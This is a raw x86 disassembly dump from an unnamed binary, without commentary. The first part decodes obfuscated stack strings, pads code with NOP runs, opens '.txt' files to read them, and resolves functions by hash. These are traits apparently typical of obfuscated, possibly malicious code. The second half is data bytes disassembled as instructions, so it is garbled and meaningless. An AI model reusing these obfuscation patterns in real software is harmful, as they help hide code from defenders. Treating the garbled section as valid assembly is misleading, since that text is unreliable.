mov esi, dword [ebp - 0x64]
mov dword [esi], 0x690e6b55
mov dword [esi + 4], 0x6d5c6f18
mov dword [esi + 8], 0x710a7318
mov dword [esi + 0xc], 0x75767704
mov byte [esi + 0x10], 0
mov eax, 0x67
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esi + eax - 0x67]
lea esi, [eax - 0x2f21b200]
mov ecx, esi
and ecx, eax
or ecx, edx
and esi, edx
sub ecx, esi
mov esi, dword [ebp - 0x64]
add cl, 0xfd
mov byte [esi + eax - 0x67], cl
inc eax
cmp eax, 0x78
jne 0x428270
mov edx, dword [ebp - 0x68]
movzx ecx, word [edx]
mov eax, edi
test cx, cx
je 0x4282c1
add edx, 2
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4282b0
mov word [eax], 0
movzx ecx, word [esi]
test cx, cx
mov esi, dword [ebp - 0x40]
je 0x4282f1
mov edx, dword [ebp - 0xac]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4282e0
mov word [eax], 0
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x58]
push dword [eax]
push dword [eax + 4]
push edi
call fcn.0040d180
mov dword [ebp - 0x10], eax
jmp dword [0x448fb8]
push edi
call fcn.0040c8d0
add esp, 4
push 0xbe5098bb
push dword [0x44da90]
call fcn.00440ed0
add esp, 8
mov ecx, dword [ebp - 0x58]
push dword [ecx + 4]
call eax
jmp dword [0x448fc0]
push dword [ebp - 0x18]
call fcn.0040c8d0
add esp, 4
push dword [ebp - 0xb8]
call fcn.00404a00
add esp, 4
jmp dword [0x448fc8]
int3
jmp dword [0x449178]
push dword [esp + 0x78]
call fcn.0040c8d0
add esp, 4
mov eax, dword [case.0x42501a.289]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, dword [esp + 4]
and al, 1
add esp, 0xc0
pop esi
pop edi
pop ebx
pop ebp
ret
jmp dword [0x44901c]
mov esi, dword [esp + 0x18]
mov eax, esi
and eax, 1
mov ecx, esi
xor ecx, 1
lea eax, [ecx + eax*2]
push eax
call fcn.0040c8c0
add esp, 4
push 0
push esi
push eax
push dword [esp + 0x14]
call fcn.00441e00
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [esp + 0x18]
lea eax, [esi + 1]
push eax
call fcn.0040c8c0
add esp, 4
mov ebx, eax
push 0
push esi
push eax
push dword [esp + 0x14]
call fcn.00441e00
add esp, 0x10
jmp dword [0x44903c]
mov dword [esp + 0x70], ebx
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
jmp dword [eax*4 + 0x449040]
mov esi, dword [esp + 0x70]
jmp dword [0x449140]
jmp dword [0x449148]
mov eax, dword [esp + 0x18]
mov ebx, dword [esp + 0x70]
mov byte [ebx + eax], 0
mov dword [esp + 4], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x1c], 0xe2e6e4fe
mov dword [esp + 0x20], 0xe6edf8ea
mov word [esp + 0x24], 0x351f
mov byte [esp + 0x26], 0x52
lea eax, [esp + 0x27]
mov byte [eax + 4], 0
mov dword [eax], 0
xor eax, eax
nop
nop
nop
nop
lea ecx, [eax + 0x2f]
mov edx, eax
neg edx
and edx, 0xd
and ecx, 0x32
or ecx, edx
xor cl, byte [esp + eax + 0x1c]
xor cl, 0xcd
add cl, 0x55
mov byte [esp + eax + 0x1c], cl
mov ecx, eax
and ecx, 1
or eax, 1
add eax, ecx
add eax, 0x53214458
mov ecx, eax
xor ecx, 0x53214458
and eax, 0xa7
add eax, eax
sub eax, ecx
cmp eax, 0x10
jb 0x4285e0
movzx ecx, byte [esp + 0x1c]
test cl, cl
je 0x428670
mov eax, edi
mov esi, ebx
jmp 0x428647
movzx ecx, byte [eax]
test cl, cl
je 0x428682
movzx edx, byte [ebx]
test dl, dl
je 0x428680
inc ebx
inc eax
lea ebp, [esi + 1]
cmp dl, cl
je 0x42865b
mov esi, ebp
mov ebx, ebp
je 0x428640
mov eax, edi
jmp 0x428640
mov esi, ebx
jmp 0x428682
xor esi, esi
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x449048]
lea ebx, [esi + 0xa]
movzx eax, byte [esi + 0xa]
xor ebp, ebp
test al, al
je 0x4286b2
mov ecx, ebx
nop
cmp al, 0x22
je 0x4286b0
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x4286a0
jmp 0x4286b2
mov ebp, ecx
mov ecx, ebp
sub ecx, ebx
xor eax, eax
cmp ecx, 5
setb al
jmp dword [eax*4 + 0x449050]
xor eax, eax
cmp byte [ebp - 1], 0x74
setne al
jmp dword [eax*4 + 0x449058]
xor eax, eax
cmp byte [ebp - 2], 0x78
setne al
jmp dword [eax*4 + 0x449060]
xor eax, eax
cmp byte [ebp - 3], 0x74
setne al
jmp dword [eax*4 + 0x449078]
xor eax, eax
cmp byte [ebp - 4], 0x2e
setne al
jmp dword [eax*4 + 0x449080]
mov eax, ecx
inc eax
mov dword [esp], eax
mov dword [esp + 0xc], ecx
lea eax, [ecx + ecx + 2]
jns 0x42871a
mov eax, 0xffffffff
push eax
call fcn.0040c8c0
add esp, 4
mov dword [esp + 0x10], eax
push ebp
push ebx
push dword [esp + 8]
push eax
call fcn.0040eb80
add esp, 0x10
push 0x60
push 3
push 0x120089
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x20]
call fcn.00441990
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x449088]
jmp dword [0x449118]
lea edi, [esp + 0x74]
jmp dword [0x449090]
push 0
push edi
push dword [esp + 0x1c]
call fcn.00441d10
add esp, 0xc
nop
nop
nop
nop
nop
push 0
push edi
push dword [esp + 0x1c]
call fcn.00441d10
add esp, 0xc
jmp dword [0x449098]
mov edi, dword [esp + 0x74]
test eax, eax
setns al
cmp edi, 0x100000
setb cl
and cl, al
movzx eax, cl
mov dword [esp + 0x6c], ebp
jmp dword [eax*4 + 0x4490a0]
push edi
call fcn.0040c8c0
add esp, 4
push 0
push edi
mov dword [esp + 0x70], eax
push eax
push dword [esp + 0x20]
call fcn.00441e00
add esp, 0x10
not eax
shr eax, 0x1f
xor edx, edx
mov ecx, dword [esp + 0x10]
jmp dword [eax*4 + 0x4490a8]
add ecx, 2
test ax, ax
je 0x428810
mov edi, edx
movzx eax, word [ecx]
mov edx, ecx
cmp ax, 0x5c
je 0x4287f0
mov edx, edi
jmp 0x4287f0
mov ecx, dword [esp + 0x10]
xor edx, edx
jmp dword [0x4490b8]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x4490c0]
xor ebp, ebp
xor eax, eax
mov edi, dword [esp + 0xc]
jmp 0x428847
mov ecx, edi
sub ecx, dword [esp + 0x10]
sar ecx, 1
inc ecx
mov edi, dword [esp + 0xc]
mov eax, edi
sub eax, ecx
mov ebp, ecx
add eax, 0x1b
push eax
call fcn.0040c8c0
add esp, 4
mov dword [esp + 0x64], eax
mov dword [esp + 0x60], ebp
sub edi, ebp
mov dword [esp + 0xc], edi
mov dword [esp + 0x1c], 0xa8aaa88b
mov dword [esp + 0x20], 0xb789bba6
mov dword [esp + 0x24], 0xb66843b8
mov dword [esp + 0x28], 0x7cb384b4
mov dword [esp + 0x2c], 0x82b6ba9e
mov dword [esp + 0x30], 0x40bab8b8
mov word [esp + 0x34], 0x4241
mov byte [esp + 0x36], 0x12
mov word [esp + 0x37], 0
mov eax, 0x5b02230c
mov ebp, 0xf4
nop
nop
movzx edi, byte [esp + eax - 0x5b0222f0]
mov ecx, ebp
and ecx, edi
not edi
or edi, ebp
lea edx, [eax + edi]
dec ebp
mov dword [esp], ebp
mov ebp, dword [esp]
sub ebp, edi
and ebp, ecx
xor edx, ecx
add edx, ecx
sub edx, ebp
mov ebp, dword [esp]
add dl, 0xc9
mov byte [esp + eax - 0x5b0222f0], dl
inc eax
cmp eax, 0x5b022329
jne 0x4288b0
add ebx, dword [esp + 0x60]
movzx ecx, byte [esp + 0x1c]
mov edi, dword [esp + 0x64]
mov eax, edi
test cl, cl
je 0x42891b
lea edx, [esp + 0x1d]
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x428910
mov byte [eax], 0
mov ecx, dword [esp + 0xc]
test ecx, ecx
mov ebp, dword [esp + 0x6c]
je 0x42895d
mov edx, dword [esp + 0x60]
add edx, esi
mov edi, ebp
sub edi, edx
add edi, 0xfffffff5
mov esi, ecx
and esi, 3
je 0x428961
xor edx, edx
movzx ecx, byte [ebx]
cmp cl, 1
sbb ebx, 0xffffffff
mov byte [eax + edx], cl
inc edx
cmp esi, edx
jne 0x428940
add eax, edx
mov ecx, dword [esp + 0xc]
sub ecx, edx
mov edx, eax
jmp 0x428961
mov edx, eax
jmp 0x4289a7
cmp edi, 3
mov edi, dword [esp + 0x64]
jb 0x4289a7
mov esi, ecx
movzx ecx, byte [ebx]
cmp cl, 1
sbb ebx, 0xffffffff
mov byte [eax], cl
movzx ecx, byte [ebx]
cmp cl, 1
sbb ebx, 0xffffffff
mov byte [eax + 1], cl
movzx ecx, byte [ebx]
cmp cl, 1
sbb ebx, 0xffffffff
mov byte [eax + 2], cl
movzx ecx, byte [ebx]
cmp cl, 1
sbb ebx, 0xffffffff
lea edx, [eax + 4]
mov byte [eax + 3], cl
mov ecx, esi
mov eax, edx
add ecx, 0xfffffffc
jne 0x42896a
mov byte [edx], 0
mov ecx, dword [esp + 0xd4]
push dword [esp + 0x74]
push dword [esp + 0x6c]
push edi
call fcn.0040d360
mov ecx, dword [esp + 4]
and cl, 1
or cl, al
mov dword [esp + 4], ecx
jmp dword [0x4490c8]
jmp dword [0x4490d0]
push dword [esp + 0x10]
call fcn.0040c8d0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, ebp
jmp dword [0x449128]
mov eax, dword [case.0x42501a.273]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp 0x4285b0
push edi
call fcn.0040c8d0
add esp, 4
push edi
call fcn.0040c8d0
add esp, 4
jmp dword [0x4490d8]
mov eax, dword [case.0x4286be.22]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x449100]
push dword [esp + 0x68]
call fcn.0040c8d0
add esp, 4
mov eax, dword [esp + 0x14]
mov dword [esp], eax
mov dword [esp + 0x1c], 0x7c7d7a7b
lea eax, [esp + 0x27]
mov byte [eax - 5], 0
mov word [eax - 7], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + edx + 0x1c]
mov eax, edx
xor eax, 0x6406dfbd
mov ebx, ecx
and ebx, 4
sub ebx, eax
lea ebp, [ebx + 0xa7]
and ebp, esi
mov edi, ebp
and edi, 0xfffffffd
mov eax, ebp
or eax, 0xfd
inc eax
imul eax, edi
mov edi, ebp
and edi, 2
or ebp, 2
imul ebp, edi
sub eax, ebp
add ebx, esi
add ebx, 0xa7
add ebx, eax
add bl, 0x6e
mov byte [esp + edx + 0x1c], bl
inc edx
add ecx, 2
cmp edx, 7
jne 0x428a80
mov ecx, dword [0x44da9c]
test ecx, ecx
lea edi, [esp + 0x1c]
mov ebp, dword [esp + 0x6c]
je 0x428b08
mov edx, dword [esp + 0x1c]
xor eax, eax
mov esi, dword [0x44daa0]
cmp dword [esi + eax*8], 0xb62b8d10
je 0x428b00
inc eax
cmp ecx, eax
jne 0x428af0
jmp 0x428b08
mov eax, dword [esi + eax*8 + 4]
cmp eax, edx
jne 0x428b0e
jmp dword [0x449118]
push dword [esp]
push 1
push eax
push dword [0x44daa4]
call fcn.0043e1f0
add esp, 0x10
jmp dword [0x449118]
mov eax, dword [esp + 8]
mov dword [esp], eax
mov dword [esp + 0x1c], 0x7c7d7a7b
mov word [esp + 0x20], 0
mov byte [esp + 0x22], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + edx + 0x1c]
mov ebx, edx
xor ebx, 0x6406dfbd
mov edi, ecx
and edi, 4
sub edi, ebx
lea ebx, [edi + 0xa7]
and ebx, esi
mov eax, ebx
and eax, 0xfffffffd
mov ebp, ebx
or ebp, 0xfd
inc ebp
imul ebp, eax
mov eax, ebx
and eax, 2
or ebx, 2
imul ebx, eax
sub ebp, ebx
lea eax, [edi + esi]
add eax, 0xa7
add eax, ebp
add al, 0x6e
mov byte [esp + edx + 0x1c], al
inc edx
add ecx, 2
cmp edx, 7
jne 0x428b50
mov ecx, dword [0x44da9c]
test ecx, ecx
je case.0x42501a.285
mov edx, dword [esp + 0x1c]
xor esi, esi
mov edi, dword [0x44daa0]
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x428bd0
inc esi
cmp ecx, esi
jne 0x428bc0
jmp case.0x42501a.285
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x42501a.285
push dword [esp]
push 1
push ecx
push dword [0x44daa4]
call fcn.0043e1f0
add esp, 0x10
jmp case.0x42501a.285
jmp dword [0x449170]
mov eax, dword [esp + 8]
mov dword [esp], eax
mov dword [esp + 0x1c], 0x7c7d7a7b
mov word [esp + 0x20], 0
mov byte [esp + 0x22], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + edx + 0x1c]
mov ebx, edx
xor ebx, 0x6406dfbd
mov edi, ecx
and edi, 4
sub edi, ebx
lea ebx, [edi + 0xa7]
and ebx, esi
mov eax, ebx
and eax, 0xfffffffd
mov ebp, ebx
or ebp, 0xfd
inc ebp
imul ebp, eax
mov eax, ebx
and eax, 2
or ebx, 2
imul ebx, eax
sub ebp, ebx
lea eax, [edi + esi]
add eax, 0xa7
add eax, ebp
add al, 0x6e
mov byte [esp + edx + 0x1c], al
inc edx
add ecx, 2
cmp edx, 7
jne 0x428c20
mov ecx, dword [0x44da9c]
test ecx, ecx
je 0x428bf0
mov edx, dword [esp + 0x1c]
xor esi, esi
mov edi, dword [0x44daa0]
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x428cb0
inc esi
cmp ecx, esi
jne 0x428c90
jmp 0x428bf0
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x428bf0
push dword [esp]
push 1
push ecx
push dword [0x44daa4]
call fcn.0043e1f0
add esp, 0x10
jmp dword [0x449170]
mov eax, dword [case.0x42501a.204]
nop
nop
nop
nop
nop
jmp eax
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
lea edi, [esp + 0x1c]
sbb al, 0xff
and al, 0x85
invalid
nop
inc esp
invalid
lea eax, [esp + 0x18]
push 0
push eax
push dword [esp + 0x10]
call fcn.00441d10
add esp, 0xc
lea eax, [esp + 0x18]
push 0
push eax
push dword [esp + 0x10]
call fcn.00441d10
add esp, 0xc
jmp dword [0x449020]
int3
das
inc edx
add byte [ecx + 0x2f], dl
inc edx
add byte [ecx + 0x2f], dl
inc edx
add byte [eax + 0x2f], bl
inc edx
add byte [ebx + eax*2 + 0x2f9b0042], ch
inc edx
add byte [edi + 0x46], dh
inc edx
add al, cl
inc ebx
inc edx
add byte [edx - 0x24ffbdbd], al
das
inc edx
add byte [eax], al
xor byte [edx], al
adc byte [eax], dh
inc edx
add byte [0x4000423c], dh
cmp al, 0x42
add byte [eax + 0x3c], al
inc edx
add byte [esi + 0x3c], cl
inc edx
add byte [eax + 0x3c], ah
inc edx
add byte [esi], ah
cmp eax, 0x10042
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
test byte [esi + 0x42], al
add byte [eax], dl
cmp eax, 0x3e310042
inc edx
add byte [eax], ah
inc edx
add byte [ecx + 0x3e], ah
inc edx
add byte [eax + 0x42], dh
inc edx
add dl, al
inc edx
add al, ah
inc edx
add al, dh
inc edx
add byte [edx - 0x6fffbdc1], bh
inc eax
inc edx
add byte [eax - 0x2dffbdc2], dl
aas
inc edx
add byte [ecx + eax*2 + 0x418d0042], al
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx + eax*2 + 0x43800042], al
inc edx
add byte [eax - 0x7fffbdbd], al
inc ebx
inc edx
add byte [edx - 0x77ffbdbd], al
inc ebx
inc edx
add byte [eax + 0x6a00422f], al
inc esi
inc edx
add byte [edi + 0x46], dh
inc edx
add byte [eax + 0x49], dh
inc edx
add byte [edx - 0x6dffbdb7], dl
dec ecx
inc edx
add byte [eax], al
dec edx
inc edx
add bl, al
dec ecx
inc edx
add byte [edi], al
dec edx
inc edx
add al, dl
dec ebx
inc edx
add byte [ebx - 0xfffbdb5], bl
dec ebx
inc edx
add byte [ecx + 0x30004252], dl
dec esp
inc edx
add byte [eax], bh
dec esp
inc edx
add byte [eax], bh
dec esp
inc edx
add byte [eax], bh
dec esp
inc edx
add byte [eax], bh
dec esp
inc edx
add byte [eax], ah
dec ebp
inc edx
add byte [edx - 0x4fffbdb3], bl
dec ebp
inc edx
add al, dl
dec ebp
inc edx
add byte [eax], al
dec esi
inc edx
add byte [ebp - 0x64ffbdb2], bl
dec esi
inc edx
add bl, dh
dec ebp
inc edx
add byte [ebp + ecx*2 + 0x4f990042], bh
inc edx
add byte [eax + 0x1000424f], dh
dec ebp
inc edx
add byte [eax], dl
dec ebp
inc edx
add cl, cl
dec ebx
inc edx
add byte [eax + 0x50], al
inc edx
add byte [ecx], ah
push eax
inc edx
add byte [ecx], ah
push eax
inc edx
add al, dl
dec ebx
inc edx
add byte [ebp + 0x50], al
inc edx
add al, dh
dec ecx
inc edx
add byte [eax], al
dec edx
inc edx
add bl, al
dec ecx
inc edx
add dh, dl
dec ecx
inc edx
add byte [edi + 0x52], ch
inc edx
add byte [edx + edx*2 + 0x42], bh
add byte [edx + edx*2 + 0x42], bh
add byte [esi], ah
dec ebp
inc edx
add byte [edi - 0x1ffbdb1], bl
pushal
inc edx
add byte [ecx - 0x1ffbda8], bl
pushal
inc edx
add byte [ebp + 0x6d004258], dh
pop ecx
inc edx
add byte [ecx], ch
popal
inc edx
add byte [ecx], ch
popal
inc edx
add byte [ecx], ch
popal
inc edx
add byte [ecx], ch
popal
inc edx
add byte [ecx], ch
popal
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], ch
popal
inc edx
add ch, ah
pop edi
inc edx
add byte [esi - 0x69ffbda7], dl
pop ecx
inc edx
add byte [ecx], ch
popal
inc edx
add byte [ecx], ch
popal
inc edx
add bh, al
pop edi
inc edx
add byte [ecx], cl
pop edx
inc edx
add byte [eax + 0x5a], dl
inc edx
add byte [ebx - 0x3fffbda6], cl
pop edx
inc edx
add byte [edx - 0x55ffbda6], ch
pop edx
inc edx
add ch, cl
pop edx
inc edx
add ch, cl
pop edx
inc edx
add byte [ecx], al
pop ebx
inc edx
add byte [edi], cl
pop ebx
inc edx
add byte [edi], bh
pop ebx
inc edx
add bh, dh
pop esp
inc edx
add byte [edx + 0x5e], al
inc edx
add byte [eax + 0x5e], cl
inc edx
add byte [eax + 0x5e], bl
inc edx
add byte [esi + 0x5e], dh
inc edx
add al, ah
pop esi
inc edx
add byte [ebx], bh
pop edi
inc edx
add byte [ebx], bh
pop edi
inc edx
add byte [ecx], ch
popal
inc edx
add byte [ecx], ch
popal
inc edx
add byte [ecx], ch
popal
inc edx
add byte [ebp + 0x5f], bl
inc edx
add byte [edi + 0x5f], dl
inc edx
add byte [ecx + 0x5e], dh
inc edx
add al, dh
pop ecx
inc edx
add al, dh
pop ecx
inc edx
add al, dh
pop ecx
inc edx
add ah, dh
pop edi
inc edx
add byte [edi - 0x3bffbda0], ch
pushal
inc edx
add bh, dl
pop edi
inc edx
add al, dl
pushal
inc edx
add dl, dl
pushal
inc edx
add al, bl
pushal
inc edx
add byte [edx], bl
popal
inc edx
add dh, bl
pushal
inc edx
add dh, bl
pushal
inc edx
add dh, bl
pushal
inc edx
add ch, ah
pop edi
inc edx
add dh, bh
pushal
inc edx
add byte [ecx], al
add byte [eax], al
add byte [edi], dl
pop edx
inc edx
add byte [ebp + 0x5b], cl
inc edx
add byte [esi + ebx*2 + 0x42], bh
add al, dl
pushal
inc edx
add byte [ecx], dl
popal
inc edx
add byte [eax + 0x2a004262], dl
inc edx
add byte [ebx + 0x38004264], al
inc edx
add byte [ebp + 0x73c50042], bl
inc edx
add byte [ecx - 0x7effbd8d], al
jae 0x448931
add byte [ecx + 0x72], al
inc edx
add dl, dl
jb 0x448939
add ah, dl
jae 0x44893d
add byte [edi - 0x68ffbd8d], dl
jae 0x448945
add byte [ebp + 0x73], ah
inc edx
add bl, cl
imul eax, dword [edx], case.0x425b38.45
dec ebx
push 66
add byte [edi], al
jo 0x448959
add ah, dl
jae 0x44895d
add dh, dl
push 0x42
add byte [ebx + 0x70], dl
inc edx
add dh, dl
push 0x42
add al, ah
push 0x42
add dl, ah
push 0x42
add dl, ah
push 0x42
add bl, ch
push 0x42
add byte [ebx + ebp*2], al
inc edx
add byte [ebx + ebp*2], al
inc edx
add byte [edx], cl
imul eax, dword [edx], 4
imul eax, dword [edx], 0xa
imul eax, dword [edx], 0xffffffa2
imul eax, dword [edx], case.0x425b38.42
mov byte [0x15004269], al
imul eax, dword [edx], 21
imul eax, dword [edx], 0xffffffb6
jae 0x44899d
add ah, ch
jb 0x4489a1
add cl, ch
imul eax, dword [edx], 0xffffffe9
imul eax, dword [edx], 0xffffffd4
jae 0x4489ad
add byte [0xff004273], cl
imul eax, dword [edx], 0x3c
outsb dx, byte [esi]
inc edx
add byte [esi + ebp*2], bh
inc edx
add byte [esi + ebp*2], bh
inc edx
add byte [esi + ebp*2], bh
inc edx
add byte [ebp + 0x6e], ah
inc edx
add byte [eax - 0x14ffbd91], cl
push 0x69850042
inc edx
add ah, dl
jae 0x4489d9
add byte [edi - 0x49ffbd97], ah
inc edx
add byte [esi - 0x39ffbd9b], dh
inc edx
add dh, al
inc edx
add byte [eax], dl
inc dx
add byte [eax], dl
inc dx
add byte [edx], bh
inc dx
add byte [edx], bh
inc dx
add byte [eax + 0x66], ah
inc edx
add byte [edx + 0x66], ah
inc edx
add byte [ebx + 0x66], dh
inc edx
add byte [ebp + 0x45004266], ah
inc dx
add dl, dl
inc dx
add ah, dl
jae 0x448a15
add byte [ebx + 0x67], bl
inc edx
add byte [0x10004267], ch
inc edx
add byte [eax], dl
inc edx
add byte [edi + 0x67], cl
inc edx
add byte [edi + 0x67], cl
inc edx
add byte [ebx], bl
inc edx
add byte [ebx + 0x67], bl
inc edx
add byte [edx + 0x67], dh
inc edx
add bl, ch
inc edx
add dl, ah
inc edx
add byte [ecx + 0x67], ch
inc edx
add cl, cl
push 0x65e90042
inc edx
add cl, ch
inc edx
add byte [edi - 0x58ffbd97], ah
imul eax, dword [edx], case.0x42697e.33
popfd
outsb dx, byte [esi]
inc edx
add byte [ebp + 0x100426e], bl
imul eax, dword [edx], case.0x426acf.19
popfd
outsb dx, byte [esi]
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ebp - 0x59ffbd92], bl
outsb dx, byte [esi]
inc edx
add byte [ecx - 0x4effbd92], dh
outsb dx, byte [esi]
inc edx
add byte [ebx + 0x6d], ch
inc edx
add byte [esi + 0x6d], dh
inc edx
add byte [edi + ebp*2 + 0x42], dh
add byte [edi + ebp*2 + 0x42], dh
add byte [edi - 0x7dffbd93], cl
outsd dx, dword [esi]
inc edx
add byte [ecx], bl
outsb dx, byte [esi]
inc edx
add byte [esi + ebp*2], ah
inc edx
add byte [0x83004273], cl
inc edx
add byte [edi], bh
popal
inc edx
add byte [ebx + esi*2 + 0x6ae00042], bh
inc edx
add byte [esi + 0x10004265], dh
inc dx
add byte [eax + 0x66], ah
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx - 0x7d], bl
inc edx
add byte [eax + 0x75], ah
inc edx
add byte [edi], bl
ja 0x448ac5
add byte [edi], bl
ja 0x448ac9
add byte [ecx - 0x7d], bl
inc edx
add byte [0x5b004279], bl
jns 0x448ad5
add byte [eax + 0x7b], al
inc edx
add byte [eax + 0x7b], al
inc edx
add byte [ecx - 0x7d], bl
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx - 0x7d], bl
inc edx
add byte [ecx - 0x7d], bl
inc edx
add byte [ecx - 0x7d], bl
inc edx
add byte [ebx + edi*2 + 0x42], ah
add byte [ebx + edi*2 + 0x7fbe0042], bl
inc edx
add byte [esi], ch
add byte [edx], 0xba
add dword [edx], case.0x427916.17
adc byte [ebx - 0x7ce6ffbe], al
inc edx
add byte [ecx], bl
add byte [edx], 0x10
add dword [edx], 0x19
add dword [edx], 0x19
add dword [edx], 7
add byte [edx], 0x3a
add dword [edx], 0x45
add dword [edx], 0xffffffc6
inc edx
add dh, al
jnp 0x448b25
add dh, al
jnp 0x448b29
add ah, cl
jnp 0x448b2d
add bh, dl
jnp 0x448b31
add bh, dl
jnp 0x448b35
add byte [edi], dl
jnp 0x448b39
add byte [ecx], ah
jnp 0x448b3d
add byte [ebx - 0x54ffbd84], ch
jl 0x448b45
add byte [ebp + 0x5500427c], dh
jg 0x448b4d
add byte [eax + 0x7f], dh
inc edx
add byte [esi + 0x7f], dh
inc edx
add byte [eax + 0x4000427f], dl
jns 0x448b5d
add byte [eax + 0x79], al
inc edx
add byte [eax + 0x79], al
inc edx
add byte [eax + 0x79], al
inc edx
jns 0x448b69
add byte [ecx], al
add byte [eax], al
add byte [eax + 0x79], al
inc edx
jns 0x448b71
add byte [ebx], ah
jns 0x448b75
add byte [esi], ch
jns 0x448b79
add dl, dh
jae 0x448b7d
add byte [ecx], al
add byte [eax], al
add byte [edi + edi*2 + 0x42], bh
add byte [ecx], al
add byte [eax], al
add byte [ebx], al
test dword [edx], eax
xor dword [ebp - 0x731dffbe], ecx
lea eax, [edx]
loop 0x448ade
inc edx
add byte [eax], al
lea eax, [edx]
inc eax
test dword [edx], eax
push 0x90004285
test dword [edx], eax
nop
test dword [edx], eax
adc cl, byte [edx - 0x796fffbe]
inc edx
add byte [edx - 0x73], cl
inc edx
add byte [edx - 0x73], cl
inc edx
add ch, al
xchg byte [edx], al
dec edx
lea eax, [edx]
dec edx
lea eax, [edx]
lds eax, [esi - 0x792affbe]
xchg byte [edx], al
aad 0x86
xchg byte [edx], al
in eax, 0x86
inc edx
add ch, ah
xchg byte [edx], al
in eax, 0x86
inc edx
add byte [ecx], al
add byte [eax], al
add ch, ah
xchg byte [edx], al
cmc
inc edx
add ch, ah
xchg byte [edx], al
in eax, 0x86
inc edx
add ch, ah
xchg byte [edx], al
add dword [eax], eax
add byte [eax], al
in eax, 0x86
inc edx
add ch, dh
xchg byte [edx], al
add byte [edx - 0x78faffbe], cl
inc edx
add byte [edx - 0x79], ah
inc edx
add byte [eax - 0x6affbd79], al
xchg dword [edx], eax
mov bh, 0x87
inc edx
add al, bh
xchg dword [edx], eax
clc
xchg dword [edx], eax
sbb al, 0x88
inc edx
add byte [eax + ecx*4], dh
inc edx
add byte [edx], ch
mov byte [edx], al
ror byte [ecx - 0x75dfffbe], cl
inc edx
add byte [edi], ch
mov al, byte [edx]
das
inc edx
add dl, dl
mov dword [edx], eax
and byte [edx - 0x75d0ffbe], cl
inc edx
add byte [edi], ch
mov al, byte [edx]
inc eax
mov al, byte [edx]
inc edx
mov al, byte [edx]
inc edx
mov al, byte [edx]
add dword [eax], eax
add byte [eax], al
inc edx
mov al, byte [edx]
dec eax
mov al, byte [edx]
push esp
mov al, byte [edx]
push esp
mov al, byte [edx]
pop esp
xchg dword [edx], eax
add dword [eax], eax
add byte [eax], al
dec edx
lea eax, [edx]
fmul dword [ecx - 0x760fffbe]
inc edx
add al, dh
mov dword [edx], eax
add byte [edx - 0x75ffffbe], cl
inc edx
add byte [eax], dl
mov al, byte [edx]
adc cl, byte [edx - 0x7a7fffbe]
inc edx
add byte [eax - 0x75ffbd7b], al
test dword [edx], eax
jge 0x8d1a8c6c
inc edx
add dh, dl
mov word [edx], es
loopne 0x448bbe
inc edx
add dl, bh
mov word [edx], es
cli
mov word [edx], es
test byte [ebx - 0x7b33ffbe], 0x42
add ah, cl
test byte [edx], al
rol byte [edx + eax*2 + 0x428d4a00], cl
add al, dh
test byte [edx], al
test byte [edx], al
test byte [edx], al
push ds
lea eax, [edx]
or dword [ebp + 0x10042], eax
add byte [eax], al
insb byte es:[edi], dx
xchg dword [edx], eax
clc
xchg dword [edx], eax
pop ss
mov al, byte [edx]
inc eax
mov al, byte [edx]
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
invalid
dec ebx
inc edx
add al, dl
dec ebx
inc edx
add cl, cl
dec ebx
inc edx
add al, dh
dec ebx
inc edx
add byte [eax], dh
dec esp
inc edx
add byte [eax], ah
dec ebp
inc edx
add byte [esi], ah
dec ebp
inc edx
add byte [edx - 0x65ffbdb3], bl
dec ebp
inc edx
add byte [eax - 0x43ffbdb3], dh
dec ebp
inc edx
add al, dl
dec ebp
inc edx
add bl, dh
dec ebp
inc edx
add byte [eax], al
dec esi
inc edx
add byte [ebx - 0x62ffbdb2], bl
dec esi
inc edx
add byte [ecx + 0x1000424f], bl
dec ebp
inc edx
add byte [eax - 0x60ffbdb1], dh
